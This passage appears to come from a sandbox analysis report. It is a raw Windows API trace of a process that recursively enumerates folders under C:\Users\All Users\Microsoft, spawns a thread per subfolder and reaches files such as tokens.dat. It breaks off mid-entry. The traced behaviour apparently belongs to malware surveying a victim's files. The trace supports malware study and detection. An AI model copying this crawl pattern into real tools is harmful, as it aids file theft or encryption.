ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0066.193] wcscmp (_String1=".", _String2=".") returned 0 [0066.193] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3a6c7630, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x3a6c7630, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.193] wcscmp (_String1="..", _String2=".") returned 1 [0066.193] wcscmp (_String1="..", _String2="..") returned 0 [0066.193] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x45b710 | out: lpFindFileData=0x45b710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0066.193] wcscmp (_String1="Views", _String2=".") returned 1 [0066.193] wcscmp (_String1="Views", _String2="..") returned 1 [0066.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48cfe0 [0066.193] wcscpy (in: _Dest=0x48cfe0, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer" [0066.193] wcscat (in: _Dest=0x48cfe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\" [0066.193] wcscat (in: _Dest=0x48cfe0, _Source="Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" Thread: id = 1477 os_tid = 0x1864 [0066.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a8b0 [0066.231] wcscpy (in: _Dest=0x44a8b0, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL" [0066.231] wcscat (in: _Dest=0x44a8b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\" [0066.231] wcscat (in: _Dest=0x44a8b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*" [0066.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45ab08 [0066.231] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1a8 [0066.231] wcscmp (_String1=".", _String2=".") returned 0 [0066.231] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.232] wcscmp (_String1="..", _String2=".") returned 1 [0066.232] wcscmp (_String1="..", _String2="..") returned 0 [0066.232] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0066.232] wcscmp (_String1="ppcrlconfig.dll", _String2=".") returned 1 [0066.232] wcscmp (_String1="ppcrlconfig.dll", _String2="..") returned 1 [0066.232] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0066.232] wcscmp (_String1="ppcrlui.dll", _String2=".") returned 1 [0066.232] wcscmp (_String1="ppcrlui.dll", _String2="..") returned 1 [0066.232] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0066.232] FindClose (in: hFindFile=0x40a1a8 | out: hFindFile=0x40a1a8) returned 1 [0066.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ab08) returned 1 [0066.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a8b0) returned 1 [0066.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a7f0) returned 1 Thread: id = 1478 os_tid = 0x1868 [0066.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444e60 [0066.409] wcscpy (in: _Dest=0x444e60, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0066.409] wcscat (in: _Dest=0x444e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0066.409] wcscat (in: _Dest=0x444e60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\*") returned="C:\\Users\\All Users\\Microsoft\\MF\\*" [0066.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x45ab08 [0066.409] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa050cc00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa050cc00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a62a0 [0066.409] wcscmp (_String1=".", _String2=".") returned 0 [0066.409] FindNextFileW (in: hFindFile=0x4a62a0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa050cc00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa050cc00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.409] wcscmp (_String1="..", _String2=".") returned 1 [0066.410] wcscmp (_String1="..", _String2="..") returned 0 [0066.410] FindNextFileW (in: hFindFile=0x4a62a0, lpFindFileData=0x45ab08 | out: lpFindFileData=0x45ab08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0066.410] wcscmp (_String1="Active.GRL", _String2=".") returned 1 [0066.410] wcscmp (_String1="Active.GRL", _String2="..") returned 1 [0066.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a7f0 [0066.410] wcscpy (in: _Dest=0x44a7f0, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0066.410] wcscat (in: _Dest=0x44a7f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0066.410] wcscat (in: _Dest=0x44a7f0, _Source="Active.GRL" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL") returned="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" Thread: id = 1479 os_tid = 0x186c [0066.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x445220 [0066.410] wcscpy (in: _Dest=0x445220, _Source="C:\\Users\\All Users\\Microsoft\\MSDN" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0066.410] wcscat (in: _Dest=0x445220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\" [0066.410] wcscat (in: _Dest=0x445220, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\*") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\*" [0066.410] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425450 [0066.410] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6120 [0066.411] wcscmp (_String1=".", _String2=".") returned 0 [0066.411] FindNextFileW (in: hFindFile=0x4a6120, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.411] wcscmp (_String1="..", _String2=".") returned 1 [0066.411] wcscmp (_String1="..", _String2="..") returned 0 [0066.411] FindNextFileW (in: hFindFile=0x4a6120, lpFindFileData=0x425450 | out: lpFindFileData=0x425450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0066.411] wcscmp (_String1="8.0", _String2=".") returned 1 [0066.411] wcscmp (_String1="8.0", _String2="..") returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4140a0 [0066.411] wcscpy (in: _Dest=0x4140a0, _Source="C:\\Users\\All Users\\Microsoft\\MSDN" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN") returned="C:\\Users\\All Users\\Microsoft\\MSDN" [0066.411] wcscat (in: _Dest=0x4140a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\" [0066.411] wcscat (in: _Dest=0x4140a0, _Source="8.0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" Thread: id = 1480 os_tid = 0x1870 [0066.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a8b0 [0066.411] wcscpy (in: _Dest=0x44a8b0, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0066.411] wcscat (in: _Dest=0x44a8b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0066.411] wcscat (in: _Dest=0x44a8b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\*" [0066.411] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427868 [0066.411] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6220 [0066.412] wcscmp (_String1=".", _String2=".") returned 0 [0066.412] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.412] wcscmp (_String1="..", _String2=".") returned 1 [0066.412] wcscmp (_String1="..", _String2="..") returned 0 [0066.412] FindNextFileW (in: hFindFile=0x4a6220, lpFindFileData=0x427868 | out: lpFindFileData=0x427868*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0066.412] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0066.412] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0066.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e5b8 [0066.412] wcscpy (in: _Dest=0x45e5b8, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0066.412] wcscat (in: _Dest=0x45e5b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0066.412] wcscat (in: _Dest=0x45e5b8, _Source="BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" Thread: id = 1481 os_tid = 0x1874 [0066.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x413d88 [0066.412] wcscpy (in: _Dest=0x413d88, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0066.413] wcscat (in: _Dest=0x413d88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0066.413] wcscat (in: _Dest=0x413d88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\*" [0066.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x428208 [0066.413] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a61e0 [0066.413] wcscmp (_String1=".", _String2=".") returned 0 [0066.413] FindNextFileW (in: hFindFile=0x4a61e0, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.413] wcscmp (_String1="..", _String2=".") returned 1 [0066.413] wcscmp (_String1="..", _String2="..") returned 0 [0066.413] FindNextFileW (in: hFindFile=0x4a61e0, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0066.413] wcscmp (_String1="Connections", _String2=".") returned 1 [0066.413] wcscmp (_String1="Connections", _String2="..") returned 1 [0066.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x5e46db8 [0066.413] wcscpy (in: _Dest=0x5e46db8, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0066.413] wcscat (in: _Dest=0x5e46db8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0066.413] wcscat (in: _Dest=0x5e46db8, _Source="Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" Thread: id = 1482 os_tid = 0x1878 [0066.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4146d0 [0066.414] wcscpy (in: _Dest=0x4146d0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE" [0066.414] wcscat (in: _Dest=0x4146d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\" [0066.414] wcscat (in: _Dest=0x4146d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\*") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\*" [0066.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424848 [0066.414] FindFirstFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", lpFindFileData=0x424848) Thread: id = 1483 os_tid = 0x187c [0066.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x5ec7d80 [0066.414] wcscpy (in: _Dest=0x5ec7d80, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0066.414] wcscat (in: _Dest=0x5ec7d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0066.414] wcscat (in: _Dest=0x5ec7d80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0066.414] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426528 [0066.414] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a61a0 [0066.415] wcscmp (_String1=".", _String2=".") returned 0 [0066.415] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.415] wcscmp (_String1="..", _String2=".") returned 1 [0066.415] wcscmp (_String1="..", _String2="..") returned 0 [0066.415] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0066.415] wcscmp (_String1="Cache", _String2=".") returned 1 [0066.415] wcscmp (_String1="Cache", _String2="..") returned 1 [0066.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417e00 [0066.415] wcscpy (in: _Dest=0x417e00, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0066.415] wcscat (in: _Dest=0x417e00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0066.415] wcscat (in: _Dest=0x417e00, _Source="Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0066.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x417e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0066.961] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0066.961] wcscmp (_String1="tokens.dat", _String2=".") returned 1 [0066.961] wcscmp (_String1="tokens.dat", _String2="..") returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x96e76d8 [0066.965] wcscpy (in: _Dest=0x96e76d8, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0066.965] wcscat (in: _Dest=0x96e76d8, _Source="\\" | out: _Dest="C:\\Users\\All 